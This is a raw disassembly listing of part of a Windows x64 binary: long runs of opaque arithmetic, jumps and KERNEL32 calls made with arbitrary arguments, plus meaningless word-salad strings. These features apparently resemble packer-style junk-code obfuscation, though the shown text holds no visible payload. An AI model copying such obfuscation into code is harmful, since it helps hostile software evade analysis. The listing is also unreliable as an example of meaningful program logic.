mov qword [rbp - 0x28], rbx
mov edx, 0
div qword [rbp - 0x28]
mov rcx, rax
mov rdx, qword [rbp + 0x4398]
mov rax, qword [0x140170310]
xor rax, rdx
cmp rcx, rax
je 0x140009565
lea rax, [rbp + 0x10f0]
mov qword [rbp + 0x4228], rax
lea rax, [rbp + 0x3cc8]
mov qword [rbp + 0x2a40], rax
lea rax, [rbp + 0x6aa4]
mov qword [rbp + 0x5868], rax
mov rax, qword [rbp + 0x6a60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3529]
and eax, edx
mov byte [0x14017031c], al
lea rax, [rbp + 0x2ca]
mov qword [rbp + 0x6e50], rax
jmp 0x1400095bb
mov rax, qword [rbp + 0x3958]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xdf
mov r9d, 0x7e
mov r8d, 0xf5
mov edx, 0xc6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetTapePosition]
call rax
mov dword [rbp + 0x361c], eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x6e26]
add eax, edx
mov word [rbp + 0x175e], ax
lea rax, [rbp + 0xe69]
mov qword [rbp + 0x6310], rax
mov dword [rbp + 0x25084], 0x3d41
jmp 0x140009781
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
mov rax, qword [0x140175038]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
add dword [rbp + 0x2516c], 0x85
mov rax, qword [rbp + 0x2a40]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
sub rcx, rdx
mov qword [rax], rcx
mov ecx, dword [0x140175040]
mov edx, dword [rbp + 0x10f0]
mov rax, qword [rbp + 0x4228]
and edx, ecx
mov dword [rax], edx
mov ecx, dword [rbp + 0x361c]
mov edx, dword [rbp + 0x6aa4]
mov rax, qword [rbp + 0x5868]
add edx, ecx
mov dword [rax], edx
movzx edx, word [rbp + 0x5160]
movzx ecx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
sub edx, ecx
mov word [rax], dx
movzx edx, word [rbp + 0x5160]
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
mov rax, qword [0x140175038]
movzx edx, word [rax]
mov rax, qword [rbp + 0x6e50]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x175e]
cwde
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3fc5]
xor eax, edx
mov byte [rbp + 0x3525], al
mov rax, qword [rbp + 0x6310]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0xe69]
mov rax, qword [rbp + 0x6310]
or edx, ecx
mov byte [rax], dl
mov r8d, dword [rbp + 0x66e4]
mov edx, dword [rbp + 0x5244]
mov rax, qword [rbp + 0x5868]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rdx, qword [rbp + 0x560]
mov rax, qword [0x140175030]
and rax, rdx
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4398]
add rax, rdx
mov qword [rbp + 0x3cc8], rax
mov edx, dword [rbp + 0x10f0]
mov eax, dword [rbp + 0x2b44]
add eax, edx
mov dword [0x140175040], eax
cmp dword [rbp + 0x2516c], 0x757d
jbe 0x1400095d8
jmp 0x140009c59
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x6e26]
add eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1007], al
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0xe69], al
movzx edx, word [rbp + 0x2ca]
movzx eax, word [0x14017031a]
and eax, edx
mov word [rbp + 0x5160], ax
movzx eax, word [rbp + 0x6e26]
mov edx, eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x2a40]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x2a40]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x5868]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x6aa4]
mov rax, qword [rbp + 0x5868]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x6f78]
xor eax, edx
mov dword [rbp + 0x2b44], eax
mov rax, qword [rbp + 0x560]
mov rdx, qword [0x140175030]
mov ecx, edx
sar rax, cl
mov qword [rbp + 0x2bd0], rax
movzx eax, word [rbp + 0x5160]
movzx edx, ax
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [0x14017031a], ax
mov rax, qword [rbp + 0x1618]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0xe69]
mov rax, qword [rbp + 0x6310]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x6e26]
and edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1007]
add edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
mov word [rbp + 0x2ca], ax
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2aa4]
sub edx, eax
mov dword [rbp + 0x2b44], edx
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
sub rdx, rax
mov rax, qword [rbp + 0x25098]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1278]
add rax, rdx
mov qword [rbp + 0x4398], rax
mov ecx, dword [rbp + 0x361c]
mov edx, dword [rbp + 0x6aa4]
mov rax, qword [rbp + 0x5868]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2aa4]
add eax, edx
mov dword [0x140175040], eax
movzx ecx, byte [rbp + 0x391f]
movzx edx, byte [rbp + 0x3529]
mov rax, qword [rbp + 0x1618]
and edx, ecx
mov byte [rax], dl
movzx edx, byte [rbp + 0x1007]
movzx ecx, byte [rbp + 0x3fc5]
mov rax, qword [rbp + 0x5f20]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x6310]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x391f]
xor eax, edx
mov byte [rbp + 0x3529], al
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1007]
or edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x3cc8]
mov ecx, edx
shl rax, cl
mov qword [rbp + 0x1278], rax
mov r8d, dword [rbp + 0x6f78]
mov edx, dword [rbp + 0x2aa4]
mov rax, qword [rbp + 0x4228]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov ecx, dword [rbp + 0x6aa4]
mov edx, dword [rbp + 0x361c]
mov rax, qword [rbp + 0x5868]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3fc5]
add eax, edx
mov byte [0x140170318], al
movzx edx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x6e26]
add eax, edx
mov word [rbp + 0x175e], ax
movzx edx, word [rbp + 0x5160]
mov rax, qword [rbp + 0x6e50]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2ca], ax
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x3529], al
mov ecx, dword [rbp + 0x10f0]
mov edx, dword [rbp + 0x2aa4]
mov rax, qword [rbp + 0x4228]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x5868]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66e4]
mov rax, qword [rbp + 0x5868]
and edx, ecx
mov dword [rax], edx
sub dword [rbp + 0x2510c], 0x92
mov rax, qword [rbp + 0x25098]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
xor rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x6e26]
cwde
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x719a]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x1007], al
movzx edx, word [rbp + 0x5160]
movzx eax, word [rbp + 0x2ca]
add edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3525]
and eax, edx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x4228]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x6f78]
mov rax, qword [rbp + 0x4228]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x5868]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66e4]
sub edx, eax
mov dword [rbp + 0x361c], edx
cmp dword [rbp + 0x2510c], 0xb1d3
ja 0x140009796
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
mov rcx, rdx
sub rcx, rax
mov rdx, qword [rbp + 0x560]
mov rax, qword [0x140175030]
add rax, rdx
cmp rcx, rax
jl 0x140009d20
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
mov qword [rbp + 0x2e80], rax
movzx eax, word [rbp + 0x175e]
cwde
cmp eax, 0x7ed1
jne 0x140009d1f
mov rax, qword [rbp + 0x25078]
movzx edx, word [rax]
mov rax, qword [rbp + 0x6e50]
movzx ecx, word [rax]
mov rax, qword [0x140175038]
sub edx, ecx
mov word [rax], dx
lea rdx, [rbp + 0x3d30]
mov dword [rsp + 0x28], 0x4e
lea rax, [rbp + 0x63a0]
mov qword [rsp + 0x20], rax
mov r9, rdx
lea r8, str.Colourants_Trot
mov edx, 0x88
mov ecx, 0xb1
mov rax, qword [sym.imp.KERNEL32.dll_GetNumberFormatW]
call rax
mov dword [rbp + 0x4e40], eax
call fcn.14015be39
jmp 0x140009d20
nop
movzx eax, byte [rbp + 0xe69]
movsx eax, al
test eax, eax
je 0x140009f7e
cmp eax, 0x17
je 0x14015b4c8
jmp 0x14015b564
mov edx, dword [rbp + 0x361c]
mov eax, dword [rbp + 0x66e4]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x5244], eax
add dword [rbp + 0x25134], 0x25
mov edx, dword [rbp + 0x10f0]
mov eax, dword [rbp + 0x6f78]
or eax, edx
mov dword [rbp + 0x2aa4], eax
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
and rdx, rax
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x4398]
sub rdx, rax
mov qword [0x140170310], rdx
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
movzx ecx, word [rbp + 0x5160]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
movzx edx, byte [rbp + 0x3525]
movzx eax, byte [rbp + 0x3fc5]
and edx, eax
mov rax, qword [rbp + 0x24778]
mov byte [rax], dl
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov word [rbp + 0x6e26], ax
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
add edx, eax
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
mov rax, qword [rbp + 0x25078]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x2ca]
mov rax, qword [rbp + 0x6e50]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2a40]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
mov dword [rbp + 0x4e40], eax
movzx eax, byte [rbp + 0x3529]
movsx edx, al
movzx eax, byte [rbp + 0xe69]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [0x14017031c], al
mov rax, qword [rbp + 0x6310]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3529]
mov rax, qword [rbp + 0x6310]
xor edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x2ca]
movzx edx, ax
movzx eax, word [0x14017031a]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x5160], ax
mov rax, qword [rbp + 0x25188]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15b8]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
and edx, eax
mov rax, qword [rbp + 0x25198]
mov byte [rax], dl
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
mov rax, qword [rbp + 0x2a40]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x2a40]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x4228]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x6f78]
mov rax, qword [rbp + 0x4228]
sub ecx, edx
mov dword [rax], ecx
cmp dword [rbp + 0x25134], 0x5dcf
jne 0x140009d40
lea rax, [rbp + 0x361c]
mov qword [rbp + 0x24760], rax
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2b44]
add eax, edx
mov dword [0x140170320], eax
mov rax, qword [rbp + 0x6a60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
and eax, edx
movsx ecx, al
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3529]
movsx eax, al
sub edx, eax
cmp ecx, edx
jle 0x14000a035
lea rax, [rbp + 0x7280]
mov r8d, 0x4d
mov rdx, rax
lea rax, str.ProfiteersPostponeDetergentdisposers
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
call rax
mov dword [rbp + 0x2bf4], eax
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
jmp 0x14000a0c0
mov rax, qword [rbp + 0x24760]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66e4]
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x5868]
mov edx, dword [rax]
mov eax, dword [rbp + 0x361c]
add eax, edx
cmp ecx, eax
jae 0x14000a0c0
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x6e26]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x25198]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25198]
mov byte [rax], dl
movzx edx, word [rbp + 0x5160]
movzx eax, word [0x14017031a]
or eax, edx
mov word [rbp + 0x2ca], ax
movzx ecx, byte [rbp + 0xe69]
movzx edx, byte [rbp + 0x3529]
mov rax, qword [rbp + 0x6a60]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x175e], ax
mov ecx, dword [rbp + 0x2aa4]
mov edx, dword [rbp + 0x2b44]
mov rax, qword [rbp + 0x4228]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x2a40]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x2a40]
sub rcx, rdx
mov qword [rax], rcx
add dword [rbp + 0x250e4], 0xe3
mov rax, qword [0x140175038]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
mov rax, qword [0x140175038]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x25098]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx ecx, byte [0x140170318]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
movzx ecx, byte [rbp + 0x3529]
movzx edx, byte [rbp + 0xe69]
mov rax, qword [rbp + 0x6310]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
movzx edx, byte [0x140170318]
movzx eax, byte [rbp + 0x3525]
add eax, edx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x25078]
movzx edx, word [rax]
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x2ca], ax
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x24760]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66e4]
mov rax, qword [rbp + 0x5868]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x10f0]
or eax, edx
mov dword [0x140170320], eax
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x1278]
mov ecx, edx
shl rax, cl
mov qword [rbp + 0x4398], rax
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov word [rbp + 0x6e26], ax
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x3529], al
movzx edx, word [0x14017031a]
mov rax, qword [rbp + 0x6e50]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2ca], ax
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x5160]
mov rax, qword [rbp + 0x6e50]
sub edx, ecx
mov word [rax], dx
mov rcx, qword [rbp + 0x4398]
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x2a40]
sub rcx, rdx
mov qword [rax], rcx
mov edx, dword [rbp + 0x5244]
mov eax, dword [rbp + 0x361c]
sub edx, eax
mov dword [rbp + 0x6aa4], edx
mov rax, qword [0x140175038]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
mov rax, qword [0x140175038]
and edx, ecx
mov word [rax], dx
mov ecx, dword [rbp + 0x2aa4]
mov edx, dword [rbp + 0x4e40]
mov rax, qword [rbp + 0x4228]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24778]
movzx eax, byte [rax]
xor edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
cmp dword [rbp + 0x250e4], 0x1533c
jbe 0x14000a0c0
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1278]
or rdx, rax
mov rax, qword [0x140170310]
mov rcx, qword [rbp + 0x3cc8]
shr rax, cl
cmp rdx, rax
jb 0x14000a40b
lea rax, [rbp + 0x6aa4]
mov rdx, rax
lea rax, [fcn.14015bdf7]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
call rax
mov dword [rbp + 0x24774], eax
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x2ca]
movzx eax, ax
sub edx, eax
mov rax, qword [rbp + 0x6e50]
movzx ecx, word [rax]
movzx eax, word [rbp + 0x5160]
and eax, ecx
movzx eax, ax
cmp edx, eax
jl 0x14015b491
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x3fc5]
movzx eax, al
lea ecx, [rdx + rax]
movzx eax, byte [rbp + 0x1007]
movzx edx, al
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx eax, al
add eax, edx
cmp ecx, eax
jl 0x14015b469
mov rax, qword [rbp + 0x25078]
movzx edx, word [rax]
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
and eax, edx
movzx edx, ax
movzx eax, word [rbp + 0x5160]
movzx r8d, ax
mov rax, qword [0x140175038]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar r8d, cl
mov eax, r8d
cmp edx, eax
jle 0x14000a569
lea r9, [rbp + 0x1e20]
lea r8, [rbp + 0x6aa4]
lea rdx, [rbp + 0x4228]
mov rax, qword [rbp + 0x74e0]
lea rcx, [rbp + 0x3d30]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessTimes]
call rax
mov dword [rbp + 0x24774], eax
mov rax, qword [rbp + 0x24760]
mov edx, dword [rax]
mov eax, dword [rbp + 0x5244]
add edx, eax
mov rax, qword [rbp + 0x24760]
mov dword [rax], edx
mov rax, qword [rbp + 0x4070]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
call rax
mov dword [rbp + 0x2c1a], eax
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2b44]
and eax, edx
mov dword [0x140175040], eax
jmp 0x14015b404
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
cwde
cmp eax, 0x1ef2
jne 0x14000a599
movzx eax, word [rbp + 0x2ca]
movzx ecx, word [rbp + 0x5160]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
jmp 0x14000a5f8
movzx eax, word [rbp + 0x175e]
mov word [rbp + 0x2142], ax
movzx ecx, byte [rbp + 0x719a]
movzx edx, byte [rbp + 0x3fc5]
mov rax, qword [rbp + 0x5f20]
add edx, ecx
mov byte [rax], dl
lea rax, [rbp + 0x2ca]
mov qword [rbp + 0x5150], rax
lea rax, [rbp + 0x6e26]
mov qword [rbp + 0x25088], rax
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x2a40]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x1278], rdx
nop
lea rax, [rbp + 0x6aa4]
mov qword [rbp + 0x1c70], rax
movzx eax, word [rbp + 0x2ca]
movzx edx, ax
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
movzx eax, ax
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x5160]
movzx eax, ax
sub edx, eax
cmp ecx, edx
jne 0x14000a6c2
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
mov qword [rbp + 0x608], rax
movzx eax, word [rbp + 0x2142]
mov word [0x140175044], ax
mov eax, dword [rbp + 0x2aa4]
mov dword [rbp + 0x6294], eax
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x3fc5]
mov rax, qword [rbp + 0x5f20]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
sub edx, eax
mov rax, qword [rbp + 0x6310]
mov byte [rax], dl
lea rax, [rbp + 0xe69]
mov qword [rbp + 0x5308], rax
movzx eax, word [rbp + 0x5160]
mov word [rbp + 0x2c82], ax
movzx edx, byte [rbp + 0x1007]
movzx eax, byte [rbp + 0x3525]
add eax, edx
mov byte [rbp + 0x3fc5], al
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
mov qword [rbp + 0x1c00], rax
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3cc8]
mov ecx, eax
mov rax, qword [rbp + 0x2a40]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x4228]
mov edx, dword [rax]
mov eax, dword [rbp + 0x6294]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [0x140170320], eax
mov rax, qword [rbp + 0x24760]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x66e4], eax
movzx edx, word [rbp + 0x5160]
movzx eax, word [rbp + 0x2ca]
xor edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov rax, qword [rbp + 0x1618]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x391f]
and eax, edx
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x719a]
add eax, edx
mov byte [rbp + 0x3525], al
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x6e26], ax
movzx eax, byte [rbp + 0xe69]
mov edx, eax
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x5308]
